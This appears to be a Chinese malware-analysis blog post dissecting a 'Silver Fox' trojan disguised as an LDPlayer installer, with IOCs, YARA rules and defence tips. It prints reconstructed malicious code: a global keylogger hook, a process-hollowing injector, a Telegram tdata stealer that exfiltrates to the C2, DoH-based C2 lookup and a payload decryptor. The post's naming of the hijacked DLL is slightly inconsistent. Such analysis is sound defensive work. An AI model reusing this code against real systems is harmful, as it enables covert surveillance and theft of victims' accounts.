HTTPS隧道里的银狐:DoH隐蔽通信木马全链路逆向分析——从样本提取到IOC提取

一、概述

在近期的一次应急响应事件中,我们捕获了一个伪装为雷电模拟器安装程序的高危木马样本。该样本采用被篡改的 INNO Setup 打包程序作为初始投放载体,通过经典的"白加黑"(DLL Search Order Hijacking)技术释放恶意载荷,并最终加载功能强大的"银狐"远控木马。

本篇博客将从恶意样本的初始分析出发,逐步深入逆向其白加黑 DLL 劫持机制、shellcode 解密算法、基于 DNS over HTTPS(DoH)的隐蔽通信协议、键盘记录模块、凭据窃取模块以及 RC4 加密引擎,最终给出完整的 IOC(Indicators of Compromise)提取清单。

样本基本信息表:

属性
原始文件名 ldplayer9_ld_112_ld.exe
MD5 8c4fc902905459a53f686372a1a85526
打包器 篡改的 INNO Setup
伪装对象 雷电模拟器(LDPlayer 9)
最终载荷 银狐远控木马(VMProtect 保护)
通信方式 DoH / TCP 自定义协议 / 标准 HTTPS

攻击链全景流程图:

┌──────────────────────────────────────────────────────────────┐
│                    银狐木马全链路攻击流程                       │
├──────────────────────────────────────────────────────────────┤
│                                                              │
│  [1] 初始投放                                                  │
│  ┌─────────────────┐                                        │
│  │ ldplayer9_ld_    │  INNO Setup 安装程序                   │
│  │ 112_ld.exe      │  (被篡改)                               │
│  └────────┬────────┘                                        │
│           │ 运行安装                                          │
│           ▼                                                  │
│  [2] 释放恶意组件                                              │
│  ┌─────────────────┐                                        │
│  │ 释放 wjcapture.  │  白加黑 DLL 劫持载体                     │
│  │ dll + 白色EXE    │                                        │
│  └────────┬────────┘                                        │
│           │ DLL Search Order Hijacking                       │
│           ▼                                                  │
│  [3] 加载与解密                                                │
│  ┌─────────────────┐                                        │
│  │ 读取 Update.xml  │  读取加密配置                            │
│  │ 解密 Shellcode   │  XOR 循环解密                           │
│  └────────┬────────┘                                        │
│           │ 解密完成                                          │
│           ▼                                                  │
│  [4] 执行 Shellcode                                           │
│  ┌─────────────────┐                                        │
│  │ 内存执行         │  Shellcode Loader                       │
│  │ 进程镂空注入     │  Process Hollowing                      │
│  └────────┬────────┘                                        │
│           │ 注入成功                                          │
│           ▼                                                  │
│  [5] 银狐核心模块运行                                          │
│  ┌─────────────────────────────────────────┐                │
│  │  VMProtect 虚拟化保护 (67% 函数)         │                │
│  │  ┌─────────┐ ┌──────────┐ ┌─────────┐  │                │
│  │  │Fuck()入口│→│键盘记录  │→│凭据窃取  │  │                │
│  │  └─────────┘ └──────────┘ └─────────┘  │                │
│  │  ┌──────────────────────────────┐      │                │
│  │  │DoH 隐蔽通信 (HTTPS隧道)       │      │                │
│  │  │oidng2.duoshit.com             │      │                │
│  │  └──────────────────────────────┘      │                │
│  └─────────────────────────────────────────┘                │
│           │                                                  │
│           ▼                                                  │
│  [6] C2 通信                                                  │
│  ┌─────────────────────────────────────────┐                │
│  │ DoH: 223.5.5.5 / 8.8.8.8               │                │
│  │ 备用: TCP 自定义协议 / 标准 HTTPS         │                │
│  └─────────────────────────────────────────┘                │
│                                                              │
└──────────────────────────────────────────────────────────────┘

二、初始样本分析

2.1 文件基本信息

样本原始文件名为 ldplayer9_ld_112_ld.exe,伪装为雷电模拟器(LDPlayer 9)的安装程序。通过文件头和节区信息可以确认这是一个被篡改的 INNO Setup 打包程序。

$ file ldplayer9_ld_112_ld.exe
ldplayer9_ld_112_ld.exe: PE32+ executable (GUI) x86-64, 5 sections

$ md5sum ldplayer9_ld_112_ld.exe
8c4fc902905459a53f686372a1a85526  ldplayer9_ld_112_ld.exe

2.2 INNO Setup 结构分析

正常的 INNO Setup 安装程序在 [Setup] 段中包含合法的应用程序信息。本样本同样保留了 INNO Setup 的基本结构,但在 [Code] 段中嵌入恶意代码,在安装过程中释放额外的恶意组件:

// 恶意样本中 [Code] 段的伪代码还原
procedure CurStepChanged(CurStep: TSetupStep);
var
    ResultCode: Integer;
begin
    if CurStep = ssInstall then
    begin
        // 释放白加黑组件到安装目录
        ExtractTemporaryFile('wjcapture.dll');  // 恶意 DLL
        ExtractTemporaryFile('LDPlayer.exe');    // 白色可执行文件
        // 静默执行
        Exec(ExpandConstant('{tmp}\LDPlayer.exe'), '', '', SW_HIDE,
             ewWaitUntilTerminated, ResultCode);
    end;
end;

2.3 释放组件概览

安装过程释放的核心恶意组件如下:

文件名 角色 MD5
wjcapture.dll 恶意 DLL(黑DLL) 319c718edc390a304acb0bc8886e0da5
LDPlayer.exe 白色可执行文件 合法雷电模拟器主程序
Update.xml 加密的 Shellcode 载荷 随样本变化

wjcapture.dll 借用了 jcapture.dll(一个 Java 屏幕捕获组件)的名称前缀进行伪装,通过 DLL 搜索顺序劫持被 LDPlayer.exe 加载。


三、白加黑 DLL 劫持深度分析

3.1 DLL 搜索顺序劫持原理

Windows 程序加载 DLL 时遵循固定的搜索顺序,攻击者正是利用这一机制实现"白加黑"劫持:

DLL 搜索顺序:
  1. 应用程序所在目录  ← 恶意 DLL 被放置于此
  2. 系统目录 (System32)
  3. Windows 目录
  4. 当前工作目录
  5. PATH 环境变量中的目录

当合法的 LDPlayer.exe 启动并尝试加载 jcapture.dll 时,由于 wjcapture.dll 已被释放在同一目录,且名称匹配,系统优先加载了恶意 DLL。

3.2 wjcapture.dll 的垃圾指令对抗

wjcapture.dllDllMain 和解密函数中大量使用垃圾指令(Junk Code)来对抗静态分析工具和逆向工程师。经过系统化分析,共识别出 7 类垃圾指令模式

类别 指令示例 特征描述
BCD 算术指令 aad 0xFF / aam 0x0A / aaa / daa / das 非十进制调整指令,不产生有效副作用
死标志操作 pushf / popf / lahf / clc / stc 修改标志寄存器但结果未被使用
死位操作 btc/btr/bts/bt/bswap 位测试/操作指令,对无关寄存器执行
无意义比较 cmp eax, eax / test ecx, ecx(后无 jcc) 比较结果不影响控制流
虚假栈操作 push 0xDEAD; lea esp, [esp+4] 入栈后立即调整栈指针,等价于 NOP
花指令 jmp $+5; db 0xE8, 0x00, 0x00, 0x00, 0x00 跳过垃圾字节,模拟函数调用
无意义移位 shld/shrd/rol/ror 对无关寄存器执行移位操作

以下是一段典型的垃圾指令片段(从 wjcapture.dll 的 DllMain 中提取):

; wjcapture.dll DllMain 中的垃圾指令片段
; 地址: 0x1800012A0
pushf                    ; [死标志操作] 保存标志位
pop  eax                 ; 弹出到 eax(结果未使用)
das                      ; [BCD算术] 无意义的十进制调整
btc  ecx, 0x1F          ; [死位操作] 测试并取反 ecx[31]
push 0xBEEF              ; [虚假栈操作] 压入无用值
lea  esp, [esp+4]        ; 立即调整栈指针(等价于NOP)
cmp  edx, edx            ; [无意义比较] 自身比较,后无 jcc
ror  ebx, 3              ; [无意义移位] 旋转 ebx(结果未使用)
jmp  $+5                 ; [花指令] 跳过下一条指令
db   0xE8, 0x00, 0x00, 0x00, 0x00  ; 被跳过的垃圾字节
aad 0xFF                 ; [BCD算术] 无意义的ASCII调整

识别方法: 对于每条指令,检查其操作结果是否被后续指令引用。若操作数(如 eax)在下一引用点之前被覆写,则该指令为垃圾指令。在 IDA Pro / Ghidra 中可编写脚本自动标记此类指令。

3.3 DllMain 执行流程

清理垃圾指令后,DllMain 的核心逻辑清晰可见:

; 清理垃圾指令后的 DllMain 伪代码
DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
    if (fdwReason == DLL_PROCESS_ATTACH)
    {
        // 1. 获取当前模块路径
        GetModuleFileNameA(hinstDLL, szPath, MAX_PATH);
        
        // 2. 构造 Update.xml 路径(同目录下)
        //    将 szPath 末尾替换为 "Update.xml"
        
        // 3. 读取 Update.xml 全部内容到缓冲区
        
        // 4. 调用解密函数处理缓冲区中的 Shellcode
        
        // 5. 分配 RWX 内存并执行解密后的 Shellcode
        VirtualAlloc(NULL, dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
        memcpy(pExecBuf, pDecrypted, dwSize);
        pExecBuf();  // 跳转执行
    }
    return TRUE;
}

四、解密函数逆向还原

4.1 算法核心逻辑

解密函数是 wjcapture.dll 中最关键的部分,负责将 Update.xml 中的加密数据还原为可执行的 Shellcode。通过动态调试和静态分析,完整还原了其解密算法。

算法步骤:

  1. 种子生成: seed = 前4字节密文 XOR 文件大小
  2. 循环解密: 从第 5 字节开始(index=4),逐字节执行:
    • seed += 0x7F(编译器将其拆分为 0x0C + 0x35 + 0x3E 以隐藏常量)
    • data[i] = data[i] XOR (BYTE)seed

4.2 汇编级分析

以下是从 wjcapture.dll 中提取的解密函数核心汇编代码:

; 解密函数 - 地址: 0x180002340
; 输入: eax = 文件大小, ecx = 密文缓冲区指针

mov  esi, ecx              ; esi = 密文缓冲区基址
mov  edi, esi              ; edi = 解密写入位置

; Step 1: 计算种子
mov  ebx, dword ptr [esi]  ; ebx = 前4字节密文
xor  ebx, eax              ; seed = ebx ^ fileSize
mov  edx, 0                ; edx 用作循环计数器

decrypt_loop:
cmp  edx, eax              ; 比较: 计数器 vs 文件大小
jge  decrypt_done          ; 解密完成

; Step 2: 种子递增(隐藏常量 0x7F = 0x0C + 0x35 + 0x3E)
add  ebx, 0x0C             ; 隐藏常量拆分 #1
add  ebx, 0x35             ; 隐藏常量拆分 #2
add  ebx, 0x3E             ; 隐藏常量拆分 #3
                              ; 等价于: add ebx, 0x7F

; Step 3: XOR 解密当前字节
movzx ecx, bl              ; ecx = (BYTE)seed (取低8位)
xor  byte ptr [edi+edx], cl ; data[edx] ^= (BYTE)seed

inc  edx                   ; 计数器++
jmp  decrypt_loop          ; 继续循环

decrypt_done:
ret

关键技术细节: 常量 0x7F 被拆分为三个加法操作 add ebx, 0x0C / add ebx, 0x35 / add ebx, 0x3E,这是一种常见的反静态分析技巧。手动计算验证:0x0C + 0x35 + 0x3E = 0x7F,完全吻合。

4.3 C 语言等效实现

/*
 * wjcapture.dll Shellcode 解密函数
 * 参数: data - Update.xml 原始数据缓冲区
 *       size - 文件大小(字节数)
 */
void decrypt_shellcode(unsigned char *data, unsigned int size)
{
    if (size < 8)
        return;  // 最少需要 4 字节头 + 至少 1 字节数据

    /* Step 1: 计算种子 = 前4字节密文 XOR 文件大小 */
    unsigned int seed = *(unsigned int *)data ^ size;

    /* Step 2: 逐字节解密(跳过前4字节种子区域)*/
    for (unsigned int i = 4; i < size; i++)
    {
        seed += 0x7F;                          // 隐藏常量 0x0C+0x35+0x3E
        data[i] ^= (unsigned char)(seed & 0xFF); // 取 seed 低 8 位做 XOR
    }
}

4.4 Python 解密脚本

以下是可直接使用的 Python 解密工具,用于批量处理 Update.xml 文件并提取 Shellcode:

#!/usr/bin/env python3
"""
wjcapture.dll Update.xml Shellcode 解密工具
用法: python3 decrypt_update.py <update.xml> <output.bin>
"""

import sys
import struct

def decrypt_shellcode(data: bytes) -> bytes:
    """
    解密 wjcapture.dll 使用的 Update.xml 载荷
    
    算法:
      1. seed = 前4字节密文 XOR 文件大小
      2. 从第5字节开始循环:
         - seed += 0x7F
         - data[i] ^= (seed & 0xFF)
    """
    size = len(data)
    if size < 8:
        raise ValueError(f"文件过小 ({size} 字节), 无法解密")

    # Step 1: 计算种子
    seed = struct.unpack('<I', data[:4])[0] ^ size
    
    # Step 2: 逐字节解密
    buf = bytearray(data)
    for i in range(4, size):
        seed += 0x7F
        buf[i] ^= (seed & 0xFF)
    
    return bytes(buf)

def main():
    if len(sys.argv) != 3:
        print(f"用法: {sys.argv[0]} <input.xml> <output.bin>")
        sys.exit(1)

    input_path = sys.argv[1]
    output_path = sys.argv[2]

    with open(input_path, 'rb') as f:
        encrypted_data = f.read()

    print(f"[*] 读取文件: {input_path}")
    print(f"[*] 文件大小: {len(encrypted_data)} 字节")

    decrypted = decrypt_shellcode(encrypted_data)

    # 简单的 Shellcode 特征检测
    pe_sig_offset = decrypted.find(b'MZ')
    if pe_sig_offset != -1:
        print(f"[+] 检测到 PE 签名 @ offset 0x{pe_sig_offset:X}")
    else:
        print(f"[*] 未检测到 PE 签名 (可能是 position-independent shellcode)")

    with open(output_path, 'wb') as f:
        f.write(decrypted)

    print(f"[+] 解密结果已保存至: {output_path}")
    print(f"[+] 解密数据大小: {len(decrypted)} 字节")

if __name__ == '__main__':
    main()

五、DoH 隐蔽通信机制

5.1 DoH 通信原理

DNS over HTTPS(DoH)将 DNS 查询封装在 HTTPS 请求中,使得 C2 通信流量与正常的 HTTPS Web 流量在传输层面完全一致。传统的 DNS 监控手段(如 DNS 日志分析、DNS 流量过滤)对此类通信完全无效。

银狐木马 DoH 通信架构:

┌──────────────┐         HTTPS (TLS 1.2/1.3)        ┌──────────────────┐
│   受害主机     │ ──────────────────────────────────→ │  DoH 递归服务器    │
│  银狐木马      │                                     │  223.5.5.5       │
│              │     https://223.5.5.5/dns-query?     │  (阿里DNS)        │
│  C2域名:      │     dns=<base64(DNS query)>          │                  │
│  oidng2.      │                                     │  或               │
│  duoshit.com  │ ──────────────────────────────────→ │  8.8.8.8         │
│              │     https://8.8.8.8/dns-query?      │  (Google DNS)    │
│              │     dns=<base64(DNS query)>          │                  │
└──────────────┘                                     └────────┬─────────┘
                                                              │
                                                    DNS 查询解析结果
                                                              │
                                                              ▼
                                                    ┌──────────────────┐
                                                    │  C2 服务器         │
                                                    │  oidng2.duoshit.  │
                                                    │  com               │
                                                    │  (实际恶意服务器)    │
                                                    └──────────────────┘

5.2 通信实现细节

木马通过以下 DoH 端点进行 C2 域名解析:

DoH 服务商 IP 地址 URL 模板
阿里公共 DNS 223.5.5.5 https://223.5.5.5/dns-query?dns=%s
Google DNS 8.8.8.8 https://8.8.8.8/dns-query?dns=%s

其中 %s 为 Base64 编码的 DNS 查询报文(RFC 8484 标准格式),查询的域名为 oidng2.duoshit.com

5.3 DoH 通信代码还原

通过对 Shellcode 和银狐核心模块的逆向分析,还原出 DoH 通信的核心逻辑:

/*
 * 银狐 DoH 通信核心逻辑(C伪代码)
 */
#define DOH_ALI      "https://223.5.5.5/dns-query?dns=%s"
#define DOH_GOOGLE   "https://8.8.8.8/dns-query?dns=%s"
#define C2_DOMAIN    "oidng2.duoshit.com"

// 构造 DNS 查询报文
BYTE* build_dns_query(const char *domain, int *query_len)
{
    // 构造标准 DNS 查询报文(RFC 1035)
    // Header: ID(2) + Flags(2) + QDCOUNT(2) + ANCOUNT(2) + NSCOUNT(2) + ARCOUNT(2)
    // Question: QNAME(variable) + QTYPE(2) + QCLASS(2)
    // 此处省略具体编码细节
    // ...
    return dns_packet;
}

// DoH 通信主函数
int doh_communicate(const BYTE *exfil_data, int data_len)
{
    HINTERNET hSession, hConnect, hRequest;
    char url[512];
    char b64_query[512];
    
    // 1. 构造 DNS 查询报文
    int query_len = 0;
    BYTE *dns_query = build_dns_query(C2_DOMAIN, &query_len);
    
    // 2. Base64 编码 DNS 报文
    base64_encode(dns_query, query_len, b64_query);
    
    // 3. 优先尝试阿里 DoH
    snprintf(url, sizeof(url), DOH_ALI, b64_query);
    hSession = WinHttpOpen(L"Mozilla/5.0", ...);
    hConnect = WinHttpConnect(hSession, L"223.5.5.5", 
                              INTERNET_DEFAULT_HTTPS_PORT, 0);
    hRequest = WinHttpOpenRequest(hConnect, L"GET", url_suffix, 
                                  NULL, WINHTTP_NO_REFERER,
                                  WINHTTP_DEFAULT_ACCEPT_TYPES,
                                  WINHTTP_FLAG_SECURE);
    
    // 4. 发送请求并获取响应
    WinHttpSendRequest(hRequest, ...);
    WinHttpReceiveResponse(hRequest, ...);
    
    // 5. 从 DNS 响应中提取 C2 IP 地址
    parse_dns_response(response_buf, &c2_ip);
    
    // 6. 解析失败则回退到 Google DoH
    if (c2_ip == 0) {
        // 尝试 Google DoH 端点...
    }
    
    // 7. 使用解析到的 C2 IP 建立实际数据通道
    connect_to_c2(c2_ip, exfil_data, data_len);
    
    free(dns_query);
    WinHttpCloseHandle(hRequest);
    WinHttpCloseHandle(hConnect);
    WinHttpCloseHandle(hSession);
    return 0;
}

5.4 备用通信通道

当 DoH 通道不可用时,木马会自动切换到备用通道:

通道类型 优先级 特征
DoH (HTTPS) 最高 通过公共 DoH 服务器解析 C2 域名
TCP 自定义协议 直接 TCP 连接,自定义二进制协议
标准 HTTPS 最低 直接 HTTPS POST 到 C2 服务器

流量伪装优势: 由于 DoH 流量与正常 HTTPS 网页浏览流量在端口(443)、协议(TLS)和证书层面完全一致,企业防火墙和 IDS/IPS 系统难以区分恶意流量与正常流量。唯一的检测点是 DNS-over-HTTPS 特有的 URL 路径模式(/dns-query)以及可能的 DNS 报文特征。


六、银狐核心模块深度分析

6.1 VMProtect 保护分析

银狐木马的核心 DLL 被 VMProtect 虚拟化保护,这是商业级代码保护工具。保护分析结果如下:

保护指标 数值
总函数数 ~180
被虚拟化函数数 ~120 (67%)
代码变异函数数 ~35 (19%)
未保护函数数 ~25 (14%)
VMProtect 版本标识 3.x 系列

VMProtect 将 x86/x64 指令翻译为自定义的虚拟机字节码,运行时由虚拟机解释执行。这大幅增加了逆向难度,但也产生了可辨识的 VMProtect 特征模式。

6.2 Fuck 导出函数:统一入口

银狐核心模块导出了一个名为 Fuck 的函数作为整个木马的统一入口点。这一命名极具攻击者风格特征。

; 银狐核心 DLL 导出表
; Ordinal: 1, Name: "Fuck"
; RVA: 0x1000

Fuck proc
    ; VMProtect 虚拟化入口
    vmentry  ; 进入 VMProtect 虚拟机
    ; ... 虚拟化字节码 ...
    vmret    ; 退出虚拟机
Fuck endp

Fuck 函数内部经 VMProtect 虚拟化保护,负责初始化所有功能模块:键盘记录、凭据窃取、C2 通信等。调用关系如下:

Fuck() [VMProtect 虚拟化]
  ├── init_keylogger()      → 安装全局键盘钩子
  ├── init_credential()     → 初始化凭据窃取模块
  ├── init_process_inject() → 初始化进程镂空模块
  ├── init_doh_client()     → 初始化 DoH 通信
  └── main_loop()           → 主循环(消息分发)

6.3 键盘记录模块

银狐使用 SetWindowsHookExA API 安装全局键盘钩子,实现跨进程键盘记录:

/*
 * 键盘记录模块核心逻辑(逆向还原)
 */

// 全局钩子句柄
HHOOK g_hKeyHook = NULL;

// 键盘记录缓冲区
#define LOG_BUFFER_SIZE    (4096)
#define KEY_RECORD_MAX     512

typedef struct _KEY_RECORD {
    DWORD  vkCode;        // 虚拟键码
    DWORD  scanCode;       // 扫描码
    DWORD  flags;         // 键标志 (WM_KEYDOWN/WM_KEYUP)
    DWORD  time;          // 时间戳
    HWND   hWnd;          // 窗口句柄
    WCHAR  windowTitle[256]; // 前台窗口标题
} KEY_RECORD, *PKEY_RECORD;

// 键盘钩子回调函数
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
    if (nCode >= 0)
    {
        KBDLLHOOKSTRUCT *pKb = (KBDLLHOOKSTRUCT *)lParam;
        
        // 获取前台窗口标题(用于上下文关联)
        HWND hForeground = GetForegroundWindow();
        WCHAR szTitle[256] = {0};
        GetWindowTextW(hForeground, szTitle, 256);
        
        // 填充记录结构
        KEY_RECORD record = {0};
        record.vkCode   = pKb->vkCode;
        record.scanCode = pKb->scanCode;
        record.flags    = pKb->flags;
        record.time     = pKb->time;
        record.hWnd     = hForeground;
        wcsncpy(record.windowTitle, szTitle, 255);
        
        // 将记录写入共享缓冲区
        append_key_record(&record);
    }
    return CallNextHookEx(g_hKeyHook, nCode, wParam, lParam);
}

// 安装全局键盘钩子
BOOL install_keylogger(void)
{
    g_hKeyHook = SetWindowsHookExA(
        WH_KEYBOARD_LL,          // 全局低级键盘钩子
        KeyboardProc,             // 回调函数
        GetModuleHandle(NULL),    // 当前模块句柄
        0                         // 全局钩子
    );
    return (g_hKeyHook != NULL);
}

6.4 凭据窃取模块

银狐木马专门针对 Telegram Desktop 的凭据进行窃取,目标是其 tdata 目录:

Telegram Desktop 凭据窃取路径:
  %APPDATA%\Telegram Desktop\tdata\
  ├── D877F783D5D3EF8C\        # 用户账号目录
  │   ├── maps\                # 地图缓存
  │   ├── avatar_cache\        # 头像缓存
  │   └── ...
  ├── key_datas                # 加密密钥数据
  ├── settings                 # 配置文件
  └── ...
/*
 * Telegram 凭据窃取逻辑(逆向还原)
 */

#define TELEGRAM_TDATA_PATH  L"\\Telegram Desktop\\tdata"
#define TELEGRAM_APPDATA     L"APPDATA"

BOOL steal_telegram_credentials(void)
{
    WCHAR szAppData[MAX_PATH];
    WCHAR szTDataPath[MAX_PATH];
    
    // 1. 获取 APPDATA 路径
    ExpandEnvironmentStringsW(
        L"%APPDATA%", szAppData, MAX_PATH);
    
    // 2. 构造 tdata 完整路径
    swprintf(szTDataPath, MAX_PATH, L"%s%s", 
             szAppData, TELEGRAM_TDATA_PATH);
    
    // 3. 检查目录是否存在
    DWORD attr = GetFileAttributesW(szTDataPath);
    if (attr == INVALID_FILE_ATTRIBUTES || 
        !(attr & FILE_ATTRIBUTE_DIRECTORY))
    {
        return FALSE;  // Telegram 未安装
    }
    
    // 4. 创建 ZIP 压缩包(包含整个 tdata 目录)
    create_zip_archive(szTDataPath, L"C:\\Windows\\Temp\\~td_tmp.zip");
    
    // 5. 通过 C2 通道回传
    exfil_to_c2(L"C:\\Windows\\Temp\\~td_tmp.zip");
    
    // 6. 清理临时文件
    DeleteFileW(L"C:\\Windows\\Temp\\~td_tmp.zip");
    
    return TRUE;
}

6.5 RC4 加密引擎

银狐木马使用 RC4 流密码对窃取的数据进行加密后再外发,但并非标准的 RC4 实现,而是加入了位置依赖密钥和分块处理机制:

/*
 * 银狐 RC4 加密引擎(逆向还原)
 * 特点: 4096字节分块 + 位置依赖密钥
 */

#define RC4_BLOCK_SIZE  4096
#define RC4_KEY_LEN     256

// RC4 状态结构体
typedef struct _RC4_STATE {
    unsigned char S[256];       // S-box
    unsigned int  block_index;  // 当前块索引(位置依赖)
} RC4_STATE;

// 初始化 RC4 状态(标准 KSA)
void rc4_init(RC4_STATE *state, const unsigned char *key, int key_len)
{
    int i, j;
    
    // 标准初始化 S-box
    for (i = 0; i < 256; i++)
        state->S[i] = (unsigned char)i;
    
    // KSA - Key Scheduling Algorithm
    j = 0;
    for (i = 0; i < 256; i++)
    {
        j = (j + state->S[i] + key[i % key_len]) & 0xFF;
        // swap S[i] and S[j]
        unsigned char tmp = state->S[i];
        state->S[i] = state->S[j];
        state->S[j] = tmp;
    }
    
    state->block_index = 0;
}

// 位置依赖的块密钥派生
void rc4_block_key(RC4_STATE *state, 
                   const unsigned char *base_key, int base_key_len)
{
    // 每个块使用不同的种子值
    unsigned char block_seed[16];
    memset(block_seed, 0, sizeof(block_seed));
    
    // 将块索引混入密钥
    block_seed[0] = (state->block_index >> 24) & 0xFF;
    block_seed[1] = (state->block_index >> 16) & 0xFF;
    block_seed[2] = (state->block_index >> 8) & 0xFF;
    block_seed[3] = state->block_index & 0xFF;
    
    // 派生块密钥: block_key = SHA256(base_key || block_seed)
    unsigned char block_key[32];
    sha256(base_key, base_key_len, 
           block_seed, 4, 
           block_key);
    
    // 重新初始化 RC4 状态
    rc4_init(state, block_key, 32);
    
    state->block_index++;
}

// 加密/解密单个块(标准 PRGA)
void rc4_crypt_block(RC4_STATE *state, 
                     unsigned char *data, int len)
{
    int i;
    unsigned char x = 0, y = 0;
    
    for (i = 0; i < len; i++)
    {
        x = (x + 1) & 0xFF;
        y = (y + state->S[x]) & 0xFF;
        
        // swap S[x] and S[y]
        unsigned char tmp = state->S[x];
        state->S[x] = state->S[y];
        state->S[y] = tmp;
        
        // XOR 生成密钥流
        data[i] ^= state->S[(state->S[x] + state->S[y]) & 0xFF];
    }
}

// 主加密函数(分块处理)
void silverfox_rc4_encrypt(const unsigned char *key, int key_len,
                           unsigned char *data, int data_len)
{
    RC4_STATE state;
    int offset = 0;
    int remaining = data_len;
    
    while (remaining > 0)
    {
        int block_size = (remaining > RC4_BLOCK_SIZE) ? 
                         RC4_BLOCK_SIZE : remaining;
        
        // 每个块使用位置依赖密钥重新初始化
        rc4_block_key(&state, key, key_len);
        
        // 加密当前块
        rc4_crypt_block(&state, data + offset, block_size);
        
        offset += block_size;
        remaining -= block_size;
    }
}

RC4 变体关键特征:

特征 标准 RC4 银狐 RC4 变体
密钥调度 一次 KSA 每块重新 KSA
块处理 无分块 4096 字节分块
密钥派生 固定密钥 块索引混入密钥
位置依赖 block_index 参与 SHA256

这种变体设计使得即使已知部分明文,也无法直接推导其他块的密钥流,增加了密码分析的难度。

6.6 进程镂空注入

银狐木马使用进程镂空(Process Hollowing)技术将自身代码注入到合法进程中运行,以规避进程监控:

进程镂空注入流程:
  1. CreateProcess(SUSPENDED)      → 创建挂起的合法进程
  2. NtUnmapViewOfSection          → 取消映射原始映像
  3. VirtualAllocEx(EXECUTE_READWRITE) → 分配新内存
  4. WriteProcessMemory            → 写入恶意代码
  5. SetThreadContext(RIP = Entry) → 修改入口点
  6. ResumeThread                  → 恢复执行
/*
 * 进程镂空注入(伪代码还原)
 */
BOOL process_hollow_inject(const wchar_t *target_exe, 
                          BYTE *malicious_pe, DWORD pe_size)
{
    STARTUPINFOW si = {0};
    PROCESS_INFORMATION pi = {0};
    
    // 1. 以挂起状态创建目标进程
    CreateProcessW(target_exe, NULL, NULL, NULL, FALSE,
                  CREATE_SUSPENDED, NULL, NULL, &si, &pi);
    
    // 2. 获取目标进程 PEB 地址
    DWORD_PTR pebAddress = 0;
    NtQueryInformationProcess(pi.hProcess, 
                              ProcessBasicInformation, 
                              &pebAddress, ...);
    
    // 3. 读取原始 ImageBaseAddress
    DWORD_PTR originalBase = 0;
    ReadProcessMemory(pi.hProcess, 
                      (LPCVOID)(pebAddress + 0x10),
                      &originalBase, sizeof(DWORD_PTR), NULL);
    
    // 4. 取消映射原始映像
    NtUnmapViewOfSection(pi.hProcess, (PVOID)originalBase);
    
    // 5. 分配新的可执行内存
    PVOID newBase = VirtualAllocEx(pi.hProcess, NULL, pe_size,
                                    MEM_COMMIT | MEM_RESERVE,
                                    PAGE_EXECUTE_READWRITE);
    
    // 6. 写入恶意 PE
    WriteProcessMemory(pi.hProcess, newBase, 
                       malicious_pe, pe_size, NULL);
    
    // 7. 修正入口点并恢复线程
    CONTEXT ctx = {0};
    ctx.ContextFlags = CONTEXT_FULL;
    GetThreadContext(pi.hThread, &ctx);
    ctx.Rip = (DWORD_PTR)newBase + entry_point_rva;
    SetThreadContext(pi.hThread, &ctx);
    
    ResumeThread(pi.hThread);
    
    return TRUE;
}

七、IOC 提取

7.1 文件 Hash

类型 关联组件
MD5 8c4fc902905459a53f686372a1a85526 初始样本 (ldplayer9_ld_112_ld.exe)
MD5 319c718edc390a304acb0bc8886e0da5 恶意 DLL (wjcapture.dll)

7.2 网络指标

类型 用途
Domain oidng2.duoshit.com C2 控制服务器域名
IP 223.5.5.5 DoH 通信中转(阿里公共DNS)
IP 8.8.8.8 DoH 通信中转(Google DNS)
URL Pattern https://223.5.5.5/dns-query?dns=* DoH 请求 URL 模式
URL Pattern https://8.8.8.8/dns-query?dns=* DoH 请求 URL 模式

7.3 行为指标

类型 描述
文件释放 释放 wjcapture.dll 到安装目录
配置文件 读取同目录下的 Update.xml
API 调用 SetWindowsHookExA (WH_KEYBOARD_LL)
目录访问 %APPDATA%\Telegram Desktop\tdata\
网络行为 DNS 查询封装在 HTTPS 请求中
进程行为 CreateProcess(SUSPENDED) + NtUnmapViewOfSection
保护特征 VMProtect 虚拟化(67% 函数覆盖率)
导出函数 DLL 导出函数名 Fuck

7.4 YARA 检测规则

rule SilverFox_DoH_Trojan {
    meta:
        description = "银狐木马 DoH 隐蔽通信变体检测规则"
        author = "Security Research Lab"
        date = "2026-07-25"
        
    strings:
        // C2 域名
        $c2_domain = "oidng2.duoshit.com" ascii wide
        
        // DoH 通信 URL 模式
        $doh_ali = "223.5.5.5/dns-query" ascii
        $doh_google = "8.8.8.8/dns-query" ascii
        
        // 导出函数名特征
        $export_name = "Fuck" ascii wide
        
        // Telegram tdata 窃取路径
        $telegram_path = "Telegram Desktop\\tdata" wide
        
        // VMProtect 特征字节
        $vmp_magic = { 35 DB 8B C1 48 8B }  // VMProtect 入口典型字节序列
        
        // DLL 名称
        $dll_name = "wjcapture.dll" ascii
        
    condition:
        uint16(0) == 0x5A4D and  // MZ header
        (
            // 匹配 C2 域名 + DoH 模式
            ($c2_domain and ($doh_ali or $doh_google))
            or
            // 匹配导出函数名 + VMProtect
            ($export_name and $vmp_magic)
            or
            // 匹配 DLL 名称
            $dll_name and $telegram_path
        )
}

rule INNO_Setup_SilverFox_Dropper {
    meta:
        description = "检测被篡改的 INNO Setup 银狐投放器"
        author = "Security Research Lab"
        
    strings:
        // INNO Setup 标识
        $inno = "Inno Setup" ascii
        $innoclass = "TForm" ascii
        
        // 恶意释放行为
        $release_dll = "wjcapture.dll" ascii
        $update_xml = "Update.xml" ascii
        
    condition:
        uint16(0) == 0x5A4D and
        $inno and $release_dll and $update_xml
}

八、总结与防御建议

8.1 攻击技术总结

本次分析的银狐木马样本展示了多层纵深攻击技术栈:

层级 技术 目的
投放层 INNO Setup 篡改 伪装合法软件安装包
加载层 白加黑 DLL 劫持 利用合法程序加载恶意代码
反分析层 7 类垃圾指令 + VMProtect 阻碍静态和动态分析
加密层 XOR 种子循环 + RC4 分块变体 保护载荷和传输数据
通信层 DoH (HTTPS 隧道) 绕过 DNS 监控和流量过滤
持久化层 全局键盘钩子 + 进程镂空 长期驻留和数据窃取

8.2 防御建议

  1. DoH 流量监控: 部署支持 DoH 检测的网络设备,监控 /dns-query 路径模式的 HTTPS 请求,特别是向公共 DoH 服务器(223.5.5.5、8.8.8.8)发起的异常大量请求。

  2. DLL 劫持防护: 启用 Windows 的 CWDIllegalInDllSearch 注册表项,阻止从当前工作目录加载 DLL:

    HKLM\System\CurrentControlSet\Control\Session Manager
    CWDIllegalInDllSearch = 0xFFFFFFFF
    
